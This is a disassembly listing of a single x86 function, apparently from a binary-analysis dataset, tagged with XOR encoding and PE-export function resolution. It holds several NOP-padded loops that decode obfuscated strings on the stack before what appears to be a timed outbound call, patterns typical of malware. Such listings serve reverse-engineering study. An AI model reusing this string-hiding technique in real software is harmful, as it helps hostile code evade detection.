Function at 0x409870
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10c
cmp dword [ecx + 0x20], 0
je 0x409d9c
lea eax, [ecx + 0x10]
push eax
mov esi, ecx
call fcn.00405fc0
add esp, 4
mov edx, dword [esi + 0x10]
mov eax, dword [esi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
movzx eax, byte [esi]
imul ecx, eax, 0xcd
shr ecx, 0xa
and ecx, 0xfffffffe
lea ecx, [ecx + ecx*4]
sub al, cl
movzx eax, al
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esp + 2], al
mov byte [esp + 3], 0
mov dword [esp + 0x10], edx
lea eax, [edx + 0x400]
push eax
call fcn.00408250
add esp, 4
mov esi, eax
mov dword [esp + 0x70], 0x156d6214
mov byte [esp + 0x74], 0xf8
mov dword [esp + 0x75], 0
mov word [esp + 0x79], 0
mov eax, 0xbcc74e2c
mov ecx, 0x4338b1d4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x4338b244]
mov ebx, ecx
and ebx, 0x4128305c
mov ebp, ecx
or ebp, 0xba1681a3
add ebp, eax
or ebp, ebx
xor ebp, edx
mov edx, ebp
and edx, 1
xor ebp, 0x5d
lea edx, [edx*2]
add edx, ebp
add dl, 0x28
mov byte [esp + eax + 0x4338b244], dl
inc eax
dec ecx
cmp eax, 0xbcc74e37
jne 0x409910
lea edi, [esp + 0x70]
mov ebx, dword [esp + 8]
mov ecx, ebx
push 0x44beec
push edi
push esi
call fcn.00409170
mov dword [esp + 0x70], 0x73ded8c0
mov word [esp + 0x74], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x70]
mov edx, 0xeb
sub edx, eax
or edx, ecx
lea ebp, [eax + 0x14]
or ebp, ecx
neg ebp
lea ecx, [eax + ebp]
add ecx, 0x13
and ecx, edx
mov dl, 0x9b
sub dl, cl
mov byte [esp + eax + 0x70], dl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 6
jb 0x409980
lea eax, [esp + 2]
mov ecx, ebx
push eax
push edi
push esi
call fcn.00409170
mov ebp, dword [str.WG6I6S__test1]
mov dword [esp + 0x70], 0x61fafcf0
mov dword [esp + 0x74], 0
xor edi, edi
mov ecx, 0xffffffff
mov eax, ecx
or eax, 0x19
add eax, edi
mov edx, edi
xor edx, 0x19
lea eax, [edx + eax*2]
add al, 2
xor al, byte [esp + edi + 0x70]
add al, 0x83
mov byte [esp + edi + 0x70], al
lea eax, [edi + 1]
dec ecx
mov edi, eax
cmp eax, 8
jne 0x4099e0
mov ecx, ebx
push ebp
lea eax, [esp + 0x74]
push eax
mov dword [esp + 0xc], esi
push esi
call fcn.00409170
mov dword [esp + 0x70], 0xedd0e8d9
mov dword [esp + 0x74], 0xd0edd4e1
mov dword [esp + 0x78], 0xe6e7ecd1
mov byte [esp + 0x7c], 0x48
mov dword [esp + 0x7d], 0
mov byte [esp + 0x81], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x70]
lea edx, [eax - 0x7d9a038f]
and edx, ecx
add edx, edx
neg edx
add edx, eax
add edx, 0x8265fc71
add dl, cl
add dl, 0xcb
mov byte [esp + eax + 0x70], dl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x12
jb 0x409a50
mov dword [esp + 0x14], 0x21aaba47
mov word [esp + 0x18], 0
mov ebp, 0x61f5b639
mov esi, 0xa49c6
nop
nop
nop
nop
nop
movzx edx, byte [esp + ebp - 0x61f5b625]
lea eax, [edx + edx]
not eax
add eax, edx
mov edi, edx
and edi, 0xfffffffa
mov ecx, esi
and ecx, 0x80004
and edx, 5
xor edx, 0x331a4c05
and edx, eax
or edx, edi
mov eax, ebp
and eax, 0x1000001
add ecx, eax
add ecx, 0x2c350150
mov eax, ebp
and eax, 0x40e5b27a
xor eax, ecx
xor eax, edx
mov ecx, eax
xor ecx, 0x3f374951
add eax, eax
or eax, 0xfd
add eax, ecx
and ecx, 1
lea eax, [eax + ecx*2]
add al, 0xe4
mov byte [esp + ebp - 0x61f5b625], al
inc ebp
dec esi
cmp ebp, 0x61f5b63f
jne 0x409aa0
lea ebp, [esp + 0x14]
mov ecx, ebx
lea eax, [esp + 0x70]
push eax
push ebp
push dword [esp + 0xc]
call fcn.00409170
mov dword [esp + 0x70], 0x206040e
mov byte [esp + 0x74], 0xe8
mov dword [esp + 0x75], 0
mov dword [esp + 0x78], 0
mov eax, 0xbaf53a7
mov ecx, 0x58
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0xbaf5337]
mov esi, edx
not esi
mov edi, ecx
or edi, esi
and esi, eax
xor edx, eax
sub edx, esi
add edx, eax
and edx, edi
add edx, 0x5e0e9089
mov esi, edx
and esi, 0x3c
xor edx, 0xbc
lea edx, [edx + esi*2]
add dl, 0x78
mov byte [esp + eax - 0xbaf5337], dl
inc eax
dec ecx
cmp eax, 0xbaf53b3
jne 0x409b50
mov ecx, ebx
push dword [esp + 0x10]
push dword [esp + 0x10]
lea edi, [esp + 0x78]
push edi
push dword [esp + 0x10]
call fcn.00409420
mov dword [esp + 0x14], 0x178519e7
mov dword [esp + 0x18], 0x139e1586
mov dword [esp + 0x1c], 0xf9c118d
mov dword [esp + 0x20], 0xbdf0d80
mov dword [esp + 0x24], 0x78f09e4
mov dword [esp + 0x28], 0x39f0594
mov dword [esp + 0x2c], 0x3f1e01c6
mov dword [esp + 0x30], 0x3bb73da9
mov dword [esp + 0x34], 0x37ba39ac
mov dword [esp + 0x38], 0x33a235ad
mov dword [esp + 0x3c], 0x2fa031d1
mov dword [esp + 0x40], 0x2bf92da0
mov dword [esp + 0x44], 0x27b529b2
mov dword [esp + 0x48], 0x23b725aa
mov dword [esp + 0x4c], 0xdf4221f5
mov dword [esp + 0x50], 0xdb56dd3d
mov dword [esp + 0x54], 0xd711d939
mov dword [esp + 0x58], 0xd34cd5f4
mov dword [esp + 0x5c], 0xcf43d143
mov dword [esp + 0x60], 0xcb56cd5e
mov dword [esp + 0x64], 0xc748c929
mov dword [esp + 0x68], 0xc307c54d
mov dword [esp + 0x6c], 0xc1c0
mov eax, 0xc6
mov ecx, 0x39
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0xb2]
mov edx, eax
xor edx, ecx
and edx, esi
xor edx, ecx
mov bl, 0x21
sub bl, dl
mov byte [esp + eax - 0xb2], bl
inc eax
dec ecx
cmp eax, 0x122
jne 0x409c70
movzx eax, word [esp + 0x14]
test ax, ax
je 0x409cc1
lea edi, [esp + 0x70]
lea ecx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409cb0
mov word [edi], 0
mov edx, dword [esp + 8]
movzx ecx, byte [edx + 0x60]
test cl, cl
je 0x409cf1
lea eax, [edx + 0x61]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movsx ecx, cl
mov word [edi], cx
add edi, 2
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x409ce0
mov dword [edi], 0xa000d
mov word [edi + 4], 0
mov eax, dword [edx + 0x80]
mov dword [esp + 0x14], 0xf313f127
mov dword [esp + 0x18], 0xef77ed7c
mov dword [esp + 0x1c], 0xe9e8
xor edx, edx
mov ecx, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
or esi, 0x2c
add esi, edx
mov edi, edx
xor edi, 0xac
lea ebx, [edi + esi*2]
add bl, 2
xor bl, byte [esp + edx + 0x14]
add bl, 0xa4
mov byte [esp + edx + 0x14], bl
lea esi, [edx + 1]
dec ecx
mov edx, esi
cmp esi, 0xc
jne 0x409d30
lea ecx, [esp + 0x70]
push 0x493e0
push eax
mov esi, dword [esp + 0xc]
push esi
push 0
push 0
push ecx
push ebp
call fcn.0040c0a0
add esp, 0x1c
mov ebx, eax
push esi
call fcn.00408260
add esp, 4
mov ecx, dword [esp + 8]
mov eax, dword [ecx + 0x80]
add dword [ecx + 4], eax
mov dword [ecx + 0x80], 0
jmp 0x409d9e
mov bl, 1
mov eax, ebx
add esp, 0x10c
pop esi
pop edi
pop ebx
pop ebp
ret